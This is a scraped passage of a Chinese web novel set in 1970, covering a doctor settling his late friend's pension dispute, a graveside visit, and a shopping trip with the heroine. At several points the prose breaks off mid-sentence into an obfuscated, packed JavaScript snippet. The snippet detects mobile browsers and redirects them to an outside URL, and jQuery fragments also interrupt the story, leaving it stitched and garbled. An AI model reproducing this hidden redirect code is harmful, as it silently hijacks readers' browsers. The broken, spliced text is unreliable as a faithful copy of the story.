在这支烟彻底燃尽前,柳峰猛地凑上前,狠狠地吸了一口。 那小子比他想象得还要狠,也还要有手段。可就算他是一条金龙,来到他们红岩,来到他的地盘,也该盘起来。 更何况,他的软肋还那样明显。 柳峰忽地起身,他没有心思和吴芳解释他的计划,便只淡声说,“先睡吧,明天起早点,我们去一趟县医院。” 在这种时刻,吴芳是不敢招惹柳峰的,她看着泼辣,但其实都是柳峰指哪打哪儿。她应了声,第二天特意赶在柳峰睡醒之前就先下了床。 她不知道柳峰要做什么,但既然要去县医院,那一定是要和柳夕雾见面的。既如此,她便起了个大早,将家里柳夕雾之前爱惜的那些东西都收了起来。 这些东西她本来都打算扔了的,此刻走投无路,便也成了筹码。 夫妻俩自然不会有拖拉机可以坐,甚至为了不引起公社领导的注意,他们天还没亮就出了门。 晨光漫进病房时,孟冬荣正将今早刚拿到的火车票展示给柳夕雾看,“我们先坐最早的班车去市里,然后再坐火车回北城,第二天下午就能到家了。” 他看着柳夕雾一脸新奇地将车票翻来覆去地看,眼里蕴出点笑意,“这次我们运气很好,买到了连着的两张下铺,到时候你可以躺在床上,看窗外的风景。” “火车上的饭菜大多数都很一般,但总归是热乎的,有时候也能遇见特别好吃的,就是不知道这次咱们运气怎么样了。” “冀省是平原,前半段路,我们会经过大片刚返青的麦田...”清朗的男声忽然被走廊门外响起的敲门声打断。 孟冬荣略带歉意地看了柳夕雾一眼,解释道,“我今天得去红岩一趟,估计要到下午才能回来。你可以吗?” 柳夕雾正听得认真,她其实还挺好奇孟冬荣正在讲的火车的,她前世去过最远的路,也不过从侯府到皇宫。 但她也知道,孟冬荣现在有更要紧的事要做,便笑着点了点头,“路上小心。” 孟冬荣又深深地看了她一眼,才在又一次响起的敲门声中离开了病房。 而等他离开后,柳夕雾立马拿起了枕边那两张小小的车票。 她盯着车票上的“1970年3月28日”看了好久好久,隐约意识到,她大概是来了很多很多年之后。 那娘和落雨呢?如果这算是她的第二世的话,她会不会已经走到了她们的前面?那她还有可能遇见她们吗? —————— 县医院消毒水味始终在鼻尖萦绕,孟冬荣坐在吉普后座,指腹无意识地摩挲着外衣口袋里的发绳,是他今天顺手从床边捡起来的。 柳夕雾的头发很长却很顺,她自己好像也不怎么会梳理,便只是在吃饭的时候随意地拢起来,经常吃到一半就会散开,孟冬荣帮她找过几次发绳,后来干脆一口气买了五六个回来。 车辆的颠簸打断了他的回忆,孟冬荣的视线落在坑洼的泥土地面,忽地想起前几日的那个夜晚。那天,怎么没觉得这条路这样长呢? 车窗玻璃映出他紧蹙的眉峰,远处松山轮廓在暮色中若隐若现,直到被唤了名,他才终于肯收回视线,参与到顾政委和平县民兵队长的讨论里去。 “顾政委、孟医生、方队长,您们来了。”公社文书看见吉普停下,立马小跑着过来,额角还挂着汗珠,“柳峰两口子不知怎么跑到了晾晒场,正闹着呢。” 孟冬荣掩饰住眼底的不耐,“没事,先过去看看。”他不是一个急躁的人,今天却几次失去耐心。 晾晒场已围了不少人,柳峰正待在石砖砌成的高台上,满脸阴郁。 见孟冬荣几人过来,他立马扬声,“你们来得正好,有本事你们就说说我到底了犯了什么罪,凭什么不准我离开公社?” “我们这些泥腿子就活该被你们这些当官的肆意揉搓吗?”他高扬起脖子,越喊越大声。 “还有我侄女,自你来了之后我就再没见上她一面,每次见面都是被你抱在怀里,说是晕了,谁知道是不是你做了什么手脚?你今天必须把她给我送回来。” 在他的设想里,孟冬荣此刻该急着解释了,而他就能顺理成章提出彩礼的事了。 可孟冬荣就像没听见那些话一样,只将文件放到台上桌子的中央,指尖落在柳夕雾的名字上,“根据《革命烈士褒扬条例》,烈士抚恤金由直系亲属继承。” “柳青阳同志牺牲前未婚,父母双亡,唯一合法继承人只有他的同胞妹妹柳夕雾同志。” 吴芳突然猛地站了起来,“凭什么!这些年要不是我们养着那丫头,她怕比他哥死得还早,现在倒好,反过来来和亲叔叔争老柳家的遗产了...” “1968年3月,柳青阳同志首次寄津贴15元。”孟冬荣抽出泛黄的信封,“汇款单备注栏明确写着‘夕雾生活费及学费’。” 他又推过一摞账本,“这是县城高中的缴费记录,柳夕雾同志从1967年起就靠勤工俭学支付书本费。这些年,你们收了多少、又用在了她身上多少,都是有迹可循的。” 柳峰脸色骤变,他没想到这个文质彬彬的年轻医生竟能有闲心去查且还能查到几年前的旧账。 这对于他来说大概也就是一年工资吧,有必要费这么大功夫和他们争吗?柳峰不忿极了。 “至于你们家去年新起的五间大瓦房...”孟冬荣拿出另一张汇款单,“用的是青阳同志准备拿来给妹妹当嫁妆的奖金吧?” 晾晒场忽地惊起一群麻雀,扑棱棱的振翅声里,孟冬荣的声音更冷,“无论你们怎么闹,这件事永远只会有两个解决办法。” “一是以监护人身份先补齐抚养费再按比例分配柳青阳同志的遗产,二是以叔婶身份归还这些年除夕雾生活费外的所有不当所得,你们可以自己选。” “你少拿这些纸片子唬人!”吴芳突然往地上一坐,她不能任由事情这样发展下去。她昨天已经和柳峰一起算过了,两者,前者不仅拿不到抚恤金还要倒贴钱,后者更是几乎要他们把这些年吃的都吐出来。 早知道如此,当年柳老大临终提出过继的时候,他们就直接答应了。吴芳真是悔不当初,事已至此,她只能扯开嗓子嚎哭。 “乡亲们评评理啊!我们柳家快被这个外乡人欺负死了啊,先是害死我的大侄子,又是抱着我侄女进进出出,现在这是要连人带钱全卷跑啊!” 夫妻俩在高台上演得起劲,人群里却都是偷笑着凑热闹的。红岩公社就这么点大,谁家不知道柳家那点儿事,要不是柳青阳这几年都没回来过,其他人早戳破这对无赖夫妻的假面了。 在侄子面前装得慈爱,转过身就欺负人妹妹,不就是仗着人心疼哥哥吗? 现在眼见着柳夕雾要去北城过好日子了,也没有柳青阳月月不断的津贴了,就想把侄子侄女身上最后一滴血榨干,这种缺德还讨不到任何好处的事,他们可不配合。 孟冬荣垂眸看着那两人,忽然想起了柳青阳每天精打细算解决饭食的模样,他忽然很不想、很不想这家人如愿。 “侵占烈士军属的财产,是要吃枪子的。”孟冬荣将手里的东西递给方队长,穿着军装的身影在午后灿阳里拓出锋利的轮廓。 “方队长,我以柳夕雾丈夫的身份将这件事全权委托给您,回收的款项我们也全部捐出,用于平县的基础建设。” 他又转向顾政委,“顾政委,若柳峰夫妻在限期内没有如数归还的话,我和我的妻子大概会选择走军事法庭的程序,到时候可能还要麻烦您出席了。” 见他这样严肃,顾政委掩去眸底的惊讶,笑着应声,“小事,若真有这个需要,冬荣你随时联系我就好。” 方队长则是巴不得有这样的好事,他们最近正为经费发愁呢,肉再小也是肉,他很乐意,于是他挥了挥手,几个持枪民兵立刻就围住了晾晒场。 柳峰和吴芳早在孟冬荣说话时就噤了声,这会儿更是成了被掐住了脖子的鸭子,整个人都在打哆嗦。 孟冬荣却懒得再看他们一眼,他率先离开了晾晒场,刚子早就等在出口,见到他时眼眶都是红的。 “孟大哥,你这样安排真好。我一想到那家人住在青阳哥血汗换来的房子还那么欺负夕雾,我就觉得恶心,现在这样,真好...” “孟大哥。”刚子甚至都语无伦次了起来,“公社的人都说您要带夕雾去北城,那你们以后还会回来吗?” “会回来的。”孟冬荣抬眸看了眼柳家老屋的方向,“夕雾的哥哥和爹娘都在这儿呢,只要时间允许,我每年都会陪她回来的。” 他从上衣口袋里拿出一个信封,“我们不在,青阳那边就得拜托你照看了,这里面是我的地址和联系方式,有任何事,随时联系。” 刚子连连点头,将信封小心翼翼地收进口袋,“我会经常去看他们的,也拜托您,照顾好夕雾...”说到一半,刚子就懊恼地停了下来,他抿抿唇,正想解释。 孟冬荣却已经接过了他的话,他无比认真地看向刚子,“我会的,你要是不放心,欢迎你随时来北城找她玩,车票我报销。” 虽然很清楚自己大概不会有机会去北城,但听他这么说,刚子的心也彻底松快了起来,他挠挠头,有些害羞地回答,“我小时不怎么爱干净,夕雾不爱和我玩儿。” 孟冬荣闻言微愣,转而又弯了弯唇,“她现在也特别爱干净。” 谢绝了刚子的陪同,孟冬荣一个人踏上了松山的小径。这里是整个红岩的坟园,许多人家的族墓都在这里。 这也是柳峰之前权力最胜的所在,作为柳家辈分最高的长辈,他可以随心所欲地决定谁“长眠”于哪块儿地,也能轻易地剥夺柳夕雾的祭拜权。 他大概也没少用这个威胁柳夕雾,孟冬荣不用求证都能推测出来,所以他干脆借这次机会将柳家父母的坟地也圈进了柳青阳的烈士陵。 松山的风裹着晚樱的香气,孟冬荣的步子迈得很慢很慢,他希望这是他最后一次单独来到这儿。 步子再慢,也有到的时候,孟冬荣半跪在簇新的墓碑前,膝上立马沾上了春泥的生机,他用视线抚过青石上“柳青阳”三个描金大字。 “她不能来了。感冒很严重,已经发展成了肺炎,我得早些带她回北城。买的是二十八那天的车票,二十九下午就能到北城了,正好还有一天假,我打算陪她做个全面检查。” “她应该也很想你,所以暂时还无法面对这片和你一起长大的土地,这些天也不怎么愿意看见故人。” 替柳夕雾解释清缺席的原因,孟冬荣将口袋里那朵已经蔫了的玉兰花放在墓前,再次抬头看向了面前的石碑。 “青阳,如果你能听见,希望你保佑她,年年都愿意等花开。” —————— 孟冬荣用比计划还短的时间结束了在红岩的一切,马不停蹄地赶回了县医院。 直到透过病房窗户看见她安静地躺在床上,孟冬荣才觉得自己的心跳终于恢复到了正常。 离开她的这半天,他几乎每时每刻都在担心,担心她会悄无声息地离开。 “在看什么?”孟冬荣轻轻叩了叩门,在柳夕雾的注视里坐回到床边高凳,探手掂了掂桌上的保温杯。 “今天喝得有些少。”他看向床上的姑娘,“是不是喝腻了梨膏?这边配不到别的。等回北城了,我再替你备些别的。” “这是新泡的。”柳夕雾抿了抿唇,答得很是认真,“你交代要喝的,我都有听,孟医生。” 孟冬荣的心忽然因为这句话变得格外柔软,在松山沾染的寒气似乎也在这个刹那尽数退去,他笑着回答,“抱歉,看来是我错怪你了。等你好了,我带你去吃遍北城的餐厅给你赔罪好不好?” 柳夕雾被他重新勾起了对北城的好奇,她的视线不经意扫过孟冬荣的右膝,辨别出有泥土沾过的痕迹,顿了几息才继续问,“北城冷吗?” “和红岩差不多,但我们家那个片区用的是暖气,虽然没有炕,但供暖的时候整个屋子也都是热烘烘的。等咱们回北城,今年的暖气可能已经停了,你要是怕冷,我们就生炉子。” 他说着,忽然意识到自己还从来没和柳夕雾介绍过他们的家。于是他顺手拿过随身包,从中取出纸笔,朝着柳夕雾的方向勾画。 “我现在分到的屋子是个大概百平的楼梯房,在三楼,南北通透,基本全天都能晒到太阳。” “屋里一共有两间卧室,你睡这里,这间还连着一个阳台,你要是喜欢,可以在阳台上加个藤椅或者沙发,躺上面晒晒太阳、听听收音机应该会很舒服。” “我的房间就在你房间的对面。这里是咱们的书房,现在里面基本都是专业性的书,不过隔壁街就有书店,你之后要是买了喜欢的书,就把你的书也放进来。我的书桌很大,完全够我们两人用,但要是你想添张自己的书桌的话,窗边也还有富余。” “客厅和餐厅是连起来的,厨房有些小,我之前很忙,几乎不会做饭...但医院和家属院的食堂味道都很好,我们可以每天去一个窗口换着吃。” “家里还没装电视,但要是你喜欢,我们就添一个。别的那些电器,要是你觉得合适,我们也可以慢慢添置。” 孟冬荣越画越起劲,也越画越专注,柳夕雾的注意力却从他的画 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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孟冬荣一直注视着她的表情,此刻也发现了她在看那行字,他下意识启唇,最终却还是没有做任何解释。 因为这就是事实,他是在见过她、认识她之后才决定带她回去的。 柳夕雾将两张介绍信都还给孟冬荣,睫毛轻颤,“介绍信能开一年吗?” “不能。”孟冬荣半垂着眸,看着她摇了摇头,“抱歉,是我忘了和你说清楚。” “你这次随我去北城,不是暂住,是档案迁移。而档案迁移只有两个途径,一个是工作单位或者学校接收,一个就是随着丈夫迁移。” 柳夕雾的指尖无意识摩挲着粗布床单,她明白了孟冬荣的意思,也惊讶到不知道该怎么回答。 孟冬荣此时心情也很复杂,有尴尬、有抱歉、有失望、也有无措,但他还是用最快的速度稳住了心神,甚至都没让柳夕雾察觉到。 “抱歉,是我没有讲清楚。”他的喉结重重地滚动了一下,“要是你不愿意,我可以再想别的方法。” 柳夕雾之前也不过是个闺阁少女,在男女之事上的经历也没比孟冬荣更多。 她不敢再随便应下了,她发现自己并不了解这个世界的规则,而这里的规矩一点儿也不比之前少。 可若是想快速且彻底地了解这些规则,她首先得找一个度,一个能避免孟冬荣怀疑她的度,可她对这个世界认知薄弱到根本不知道一个读过高中的姑娘应该知道什么、不应该不知道什么... 柳夕雾并不在意自己是否有婚约,她来自一个盲婚哑嫁的时代,这在她看来并不是什么大事。可若对方是孟冬荣,她就不敢轻易做决定了,她不想影响他的人生。 她纠结极了,眉头不自觉紧紧蹙了起来,指尖也下意识按压着食指关节,留下一道浅浅的坑印。 “在想什么?”孟冬荣心口也似乎被她掐出了一道印,他温声问,“我们可以一起想办法解决。” 柳夕雾看向他的眼睛,从他沉稳的眼神里找回了一点安心,她抿了抿唇,说出自己的纠结之处,“我在想,如果这样,那之后我死了,你岂不是成了鳏夫?” 无论哪个时代,鳏夫在婚恋上都会更难,柳夕雾不希望自己拖累孟冬荣。 始料未及的答案,比起他们这个混乱的婚约,孟冬荣更想追问的却是:为什么她那样肯定,肯定自己注定死亡。 是因为从来没有放弃过求死吗?哪怕这几日她明显对北城产生了巨大的兴趣。 一股焦躁涌上孟冬荣的心口,他却根本不敢问,在有些时刻,他也是懦夫,“从法律上来说是这样,但我并不觉得这是一个值得顾虑的问题。” 柳夕雾松了口气,猜测孟冬荣在这里的地位大概就像应天城那些朝堂新贵,并不缺婚恋对象。 “这是最简单的方法吗?”柳夕雾看向孟冬荣。 “是。”孟冬荣回视她的眼睛,“你高中已经毕业了,不能再走升学的路,而以你现在的身体,也不适合立马进入工作。” “那就这样吧。”柳夕雾有些庆幸,“幸好我提前问你了,不然我们到北城了,别人问却说法不一,那就不好了。” 孟冬荣弯了弯唇,学着她的语气应和,“是呀,幸好。” 他的语调轻快,心头却像是压了一块儿石头,那块石头名为柳夕雾的生与死。 而遥远的北城,孟冬荣的结婚申请也如同一块儿巨石,再一次击破了看似平静的湖面。 盛逸骏走到哪里都能听见人在讨论这件事,毕竟这故事发展实在是太像戏文里的挟恩图报了。 大多数人都认为孟冬荣大概是被柳家人痴缠到不得不这样做,但盛逸骏却很肯定,这个决定必然也只会是孟冬荣自己做的。 但他没想到,这消息传得那样快且那样离谱,以至于他妈都亲自找到了他这儿,向他求证。 “都说孟家儿子前不久遭遇了医闹,现在又被救人那家人的女儿缠上了?逸骏,你知道这件事吗?” 盛逸骏在听清他妈说的话后,立马就蹙紧了眉,这是谁传的话?这话的内容也太不利于孟冬荣了。 于是他难得极有耐心地将前因后果都讲了一遍,“所以孟冬荣也是受了无妄之灾,至于结婚的事,我不太清楚内情,但我觉得,孟冬荣不会是那种受人胁迫之人。” 盛母这才松了口气,“那就好,你都不知道,这事儿传到军区以后,你爸急成了什么样。若不是知道你昨晚值班,估计要连夜赶到你这儿来。” 盛逸骏想起自家父亲的急性子,也是无奈,“那我就不留您了,您早些回去,也让他早点儿安心。” “我是得早些回去,你好几个叔叔都在等我这里的消息呢。”盛母叹口气,“毕竟是他唯一的儿子,大家虽然不敢明着做什么,但也都不忍他的孩子再遭什么难。” “龙困浅滩而已,会好的。”盛逸骏看向窗外,眺望着院子中间的那棵刚移植过来的新松。 涉及到敏感话题,母子两人默契地都没有继续往下说,盛母又关心了儿子几句后,便急匆匆回家了。 大院许多人都等着她的消息呢。 7. 007 “这个药先不给她用了,剩下的按两天的量拿给我。”孟冬荣放下手里的病历单,略带歉意地笑了笑,“这几天麻烦您了。” 他很少会做这种跨科室指挥别人看病的事儿,这是很不尊重人的行为。 但平县医院没有什么检查仪器,只能依靠听诊器判断肺部啰音,基本完全依赖于主治大夫的临床经验。又喜欢把抗生素当万能的药来用,孟冬荣实在无法放心。 中年男人却丝毫没觉得被冒犯到,反而有些不舍地看向孟冬荣,“您要回北城了吗?” “嗯,明早的车,等下拿了药就出院了。”孟冬荣的语调轻松了很多,他将手上的牛皮纸本放到办公桌上,“这里面有我的地址,之后若还有想了解的,就写信给我。” 中年男人惊喜不已,以孟冬荣的背景,他别说和他通信,可能连他培训课的旁听资格都抢不到。 他如获至宝般捧起那个笔记本,连声道谢,“多谢您!多谢您!我不会随意打扰您的。” 孟冬荣见他这样,心中也颇为触动,“你们驻守基层也不容易,没事的,有什么我能帮上忙的,随时联系就好。” 说完这句,他就礼貌地道了别。而等中年大夫翻开那本笔记本,更是动容得几乎说不出话来。 清俊的钢笔字密密麻麻地写了小半个本子,而这里面,几乎都是他问过还没想通、亦或是和他的疑问息息相关的专业知识。 他急匆匆追出去,却看见年轻男人正温柔地替身前的姑娘整理口罩,眼神专注得像在参与一场高难度手术。 中年大夫默默地退回了诊疗室,又对着对面正一脸笑意探头探脑的小护士们摇了摇头,示意她们不要打扰。 “好了。”孟冬荣将口罩的绳子稍微放松了些,给她戴口罩的护士大概是按防护要求做的,将绳子收得很紧。 但他准备这个只是担心柳夕雾不自在,毕竟她这段时间一直不太爱见生人,而他们等下又必须要出门。 他很熟悉这种纱布口罩的厚度,想到她那张盈盈的小脸,睡一晚起来都会留下红印,又有些担心,“闷吗?是不是有些磨?” 柳夕雾借着挽发的动作碰了碰被他触过的耳后,藏在口罩后的唇微微抿起,“不闷,但是这样,会奇怪吗?” 即使是这几日在医院,她也没见人带过这个。听说这是很珍贵的物资,整个平县医院也没有多少。 “不奇怪。”还很可爱。孟冬荣看着那双被口罩映衬的更加小巧的脸,眸中染上笑意,“没关系的,我们只是出去一下下。” 他们明天就要出发了,柳夕雾却还是穿着他的外套。她太纤瘦,他的毛呢大衣披在她身上像是能把她压垮,孟冬荣早就想换掉了。 柳夕雾却依旧觉得紧张,她来这里半个多月了,却还从未真正走出过房间。 他是她在这里唯一熟悉的人,想到这里,柳夕雾又迈步往孟冬荣的身边挪了挪。 孟冬荣一直留意着她,见状抬手,轻轻碰了碰她的发尾,“不用担心,一切都有我在。” 柳夕雾仰头看向他,那双总是像隔着水雾的眼睛里依旧是孟冬荣看不懂的情绪。 每次看着这双眼睛,孟冬荣都会想起日出时分的湖面,温柔晨光中水雾萦萦,触手难及。 他紧了紧右手包带,又将行程和她确认了一遍,“我们先去供销社,买到东西就立马回招待所,全程不会超过一个小时,你可以吗?” 柳夕雾很想摇头,她有些怕出门,怕在这里遇见什么熟人,看出她的不同。 但想到孟冬荣带她出门的初衷,她还是轻轻应了声,“可以。” “那我们现在就出发。”孟冬荣安抚地对着她笑了笑,又侧头往中年医生在的位置点了点头,才迈步往医院外走去。 他的步子迈得很慢。这是他这几日发现的,柳夕雾步子迈得很碎,连走路也是斯文的。 柳夕雾果然适应于这样的速度,她有些紧张地抓住了大衣的袖口,不知道等待她的是一个怎么样的世界。 她该是很熟悉这里的,因为“她”在这里读过两年高中,所以柳夕雾即使是打量也都是小心翼翼的。 她看着白灰色的街道,看着街道旁参差不齐的房屋,看着时不时闪过的坐在一个奇怪两轮车上的年轻人,心中满是惊讶。 既惊讶这个时代好像并不比她的世界更富裕,也惊讶那些她从未看见过的东西,更惊讶于路边店铺里正在忙碌的女子。 她甚至还听见了一对路过男女的话,中年女子似乎正在生气,嗓音有些尖锐。 “让你办这么小个事也能办砸,你的书都读到狗肚子里去了吗?再这么下去,你也不用来工会了,回车间继续酿酒吧...” 女子也看见了柳夕雾,还以为自己的样子吓到了这个看起来就很乖巧的女孩,对着她抿出一个含着歉意的笑。 柳夕雾也跟着弯了弯眼,她不是害怕,只是惊喜到忘了做掩饰。 她的脚步愈发轻快,看向周围的眼神也不再藏着怯。她好像明白了,还在红岩时那道男声偶尔提起的“时代不同了,男女都一样”是何意思了。 柳夕雾抬头看向天空的方向,心中无限感慨。 要是她的阿娘和落雨是这个世界的人就好了,那就不至于除了卖身为婢无路可走了。 “到了。”孟冬荣停下步子,微微低头叮嘱柳夕雾,“这里的成衣可能不多,要是没遇见喜欢的,就直接和我说,我们去另一家。” 柳夕雾已经隔着窗户看见了室内的景象,挂在墙上的衣服很少,地面上的琉璃柜却挤挤攘攘地放满了她从未见过的事物。 “嗯。”她忽然想起另一件事,“但是我是不是要先去...邮局兑银...钱呀?” 这两天她看过孟冬荣给她的那张纸条好多次,通过上面的字和孟冬荣的话,猜到这大概是一个叫“邮局”的钱庄的取银子的凭据。 “这里离邮局有些远,而且你这个是整数,只取一点剩下的还要转存,很麻烦。”他顿了顿,“我先付,之后方便了再说。” 柳夕雾似懂非懂地点点头,跟着孟冬荣进了这个叫“供销社”的店。 在孟冬荣看来,平县的供销社其实很小,但这已经是护士告诉他的、最好买成衣的地方了。 他的视线在墙上那些衣服上扫过,基本都是他去留学前就有的款式,唯一值得庆幸的是,看起来都很干净。 柳夕雾倒是看这些衣服都一样,她又怕自己出错,便只是对孟冬荣说,“就中间那件吧。” 那是一件和他衣服有些像的大衣,只是质感没那么好,孟冬荣心中微动,“麻烦您把那件米白色大衣拿一下。” 柜台后的售货员早就注意到这对年轻人,她自己就是卖衣服的,只从他们身上的衣服就能判断出价格,很痛快地将衣服递了过去。 她还很贴心地提醒,“我拿的最小号,你们先试,不合适我再给换。” 柳夕雾一惊,她看了眼周围不算少的人,不是很能接受直接站在这里换外衣。 “不用试,你现在不能受凉。”孟冬荣展开衣服大致看了一眼,“这个款式,喜欢吗?” 柳夕雾点点头,孟冬荣便又指着柜台里的第一层说,“再挑一件毛衣,款式好像都是一样的,你看看喜欢哪个颜色?” 柳夕雾凑过去看了一眼,又看了眼大衣的颜色,挑了最相近的一个,“这个。” 孟冬荣抬眸看向售货员,“麻烦您拿一件新的给我,也是最小码。” 售货员算是看出来了,这是完全不差钱票的,二三层的普通毛衣人家连看的意思也没有,更是配合了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15281764|166856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 接着,孟冬荣又让柳夕雾挑了裤子和鞋子,见她完全没有要提其他衣服的意思,欲言又止。 柳夕雾其实根本不懂这里的衣服都叫什么,又都要怎么搭配,便几乎是孟冬荣让她选什么她就选什么,自然也不懂他的意思。 “怎么了?”柳夕雾的心情很好,逛铺子对她来说也是很少有的经历,怪不得嫡姐每出一次门都能心情好到几天都不找她麻烦。 孟冬荣抿了抿唇,有些窘迫,实在不知道该怎么提醒柳夕雾她还有东西没买。 柳夕雾刚到医院那天是换过一次衣服的,情况紧急,是孟冬荣托小护士照顾她擦洗的身子,衣服也都是托小护士准备的。 也许是小护士准备了两套?他难得有些想放弃。 一直津津有味看着他们的中年售货员忽然笑着打断了他们的对视,她这个成衣柜台在平县几乎没什么销量,所以很是清闲。 她饶有兴趣地看了眼这个看起来就很贵气的年轻男人通红的耳垂,又偷笑着对上年轻姑娘一脸懵懂的眼神。 真有意思啊,看得她的心也软软的。售货员决定替他们解围,她问,“你们是外地人吧?这是衣服没带够想置办套新的?” 孟冬荣闻弦音而知雅意,他立马点头,“是这样,麻烦您再帮她看看,还缺什么。” 说完,他尽量自然地看向了门口的柜台,“夕雾,我去买点明天在车上吃的糕点,你先自己选。” 柳夕雾其实也很想去挑糕点,但她看出来孟冬荣想让她留在这里,便有些留恋地看了眼那个花花绿绿的柜台,“好。” 等男人走后,售货员一下就放松了些,她笑着调侃,“他是你对象?谈多久了,挺体贴。” 柳夕雾抿抿唇,“嗯,没有很久。” “怪不得。”售货员一脸果然如此的表情,“他是想让你把内衣也买了,却不好意思给你说,耳朵都羞红了。” 她说着,从身后的柜台里拿出了几件卖得最好的,“这些我闺女也买过,她说都挺舒服的,你选个自己喜欢的吧。” 看清是什么后,柳夕雾的脸刷地一下就红了,她下意识看了眼孟冬荣的方向,羞得不行。 这应该是这个世界的肚兜吧,这竟然也是能直接买的吗?她甚至都不敢细看,随手指了一个。 售货员却偷偷笑了,她问,“看来你挺满意他的,你穿什么码?” 柳夕雾觉得自己好像又发烧了,不然为什么晕乎乎的。她不懂这人问的是什么意思,又怕孟冬荣忽然回来,便轻声报了自己的围度。 这个身体就是她的,这样应该没问题。 售货员却有些惊讶地看了她一眼,这小姑娘看着瘦瘦的,“那这个你可能穿不了,这个棉垫太厚啦,你那毛衣本来就是有些修身的,除非你只在家穿...” 柳夕雾的脖颈都羞红了,她难得打断了别人讲话,“那您帮我拿一件合适的吧,都可以。” 这么害羞?售货员本来还想调侃两句,但等她对上柳夕雾那双眼,忽然又有些不忍心了。 也怪不得能把对象吃得死死的,就这么双漂亮的眼睛,含着水雾般楚楚可怜地望着你,谁能受得住? 真是好福气呀。售货员心想,干脆自己从柜台里包了一整套内衣内裤给她,“记得要先过水,我们这儿都是市里卖不出去的款式,不知道在仓库放了多久。” 柳夕雾将那个袋子紧紧攥在手里,低低应声,“嗯。” 孟冬荣克制着没往柳夕雾那边看,直到过了十多分钟,他才不动声色地往那边看了一眼。 见售货员似乎已经开始和她拉起了家长,孟冬荣松了口气,正准备拿着糕点过去结账。 就见两个年轻姑娘朝着柳夕雾的方向奔了过去,其中一个口中还唤着她的名字,“夕雾,真的是你!” 8. 008 孟冬荣急忙看向柳夕雾,就见她似乎也被吓到了,正侧着身子想往他这边走。 孟冬荣几步上前,一把将人护到了身后,大掌抚过她的臂侧,轻得像触碰初春的薄冰,“别怕。” 对上对面男人戒备的眼神,慕晓红也觉得莫名其妙,她有些尴尬地止住步子,“呃...我没有恶意,我以为她是我的高中同学。” 她求救地看向自己的朋友,“春华,你刚刚也听到了的对吧,她说她叫柳夕雾,而且她看起来也很像我们的同学夕雾。” 岑春华早就不动声色地打量过这对年轻男女,怕对方找麻烦,先发制人地回答,“是啊。而且我们什么也没做,就算是认错人了,你们也不用表现得这么心虚吧?遮遮掩掩的,小气...” 孟冬荣的眉眼倏地冷了下来,“她正在生病,刚从医院出来,你们忽然跑过来,吓到她了,不可以?” “可以可以,春华不是这个意思。”慕晓红头痛,“抱歉,是我们唐突了。” 她把手中的桃酥递过去,“我只是听说我那位叫夕雾的同学家里出了事,一时又看见像她的人,着急了些,实在不好意思啊。” 听到这里,柳夕雾已经确认对方大概是真的认识“她”,但她并不想横生枝节,于是扯了扯孟冬荣的衣角,从他身后走了出来。 她故意将自己的脸朝向那两个姑娘的方向,“冬荣,我想回去了。” 她不想否定或者承认自己到底是不是“柳夕雾”,她只想顺利离开这里。 果然,那两位姑娘的视线齐刷刷地停在了她的眉心,那里坠着一颗血痣,如雪中红梅般惹眼。 慕晓红和岑春华对视一眼,印象里的柳夕雾瘦瘦小小的,姣好的五官在偏黑的肤色里也显得黯淡,那双眼里燃着的也是隐忍,哪里是眼前姑娘的模样? 看来真的只是同名,她们有些尴尬。对面的姑娘却对着她们弯了弯眼,“我们明早还要赶车,先走了。” “好的好的。”慕晓红立马点头,“祝您们一路顺风。”说完立马拉着岑春华离开了。 隔着一段距离,还能听见岑春华的抱怨,“就算是柳夕雾又怎么样?同桌两年,她都不怎么搭理你,也就你性子好,还巴巴地想去找她。” 声音逐渐远去,柳夕雾垂着眸,心口酸酸的,指尖不自觉地陷进手心。 “对不起。”她侧头往两人离开的方向看了一眼,原谅她,她真的不敢承认,她解释不了为何自己变化那么大,也害怕对方提起那些她完全不知道的往事... “累了吗?”孟冬荣将所有东西都换到右手提着,像没有察觉似的牵住了她的手,指腹刚好滑过她掌心新生出的红痕,“招待所就在这附近,很快就能到。” “嗯。”柳夕雾安静地跟在他的身后,心里沉甸甸的,也没有心思再打量周围的景色。 直到孟冬荣扶着她的肩让她坐下,柳夕雾才反应过来他们已经到了今晚住的地方。 她一路都在想那个姑娘的话,一边觉得自己这样做是对的,她只是在保护自己,没有错;一边又觉得自己这样做很对不起那个姑娘的好意,也对不起“柳夕雾”... 但当周围只剩她和孟冬荣以后,她又发现自己还是惹了麻烦,她不知道该怎么向他解释自己为什么不和那两个姑娘相认。 他一定听出来了,对方没认错人,她们就是“她”的高中同学。 孟冬荣也确实知道那两个姑娘没认错人,他本来想问她的,但看她一路上蔫蔫地提不起精神,那句“算了”就再一次涌上了他的心头。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15281765|166856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 有什么好追问的呢?现在的一切都是他强留的。 “哭什么?”孟冬荣单膝蹲在柳夕雾身边,隔着手帕拭去她眼角的泪,“是不是走太久累了?” 柳夕雾还是垂着眸,她摇了摇头,哑声回答,“我觉得我这样很不好,可是,我真的...” “我会让人转告她你的近况。”孟冬荣看着她长睫上的水意,“会感谢她的关心。你如果还有什么想说的,也可以写成信,她会看到的。” 你想要做什么,我都不过问。所以,别哭。 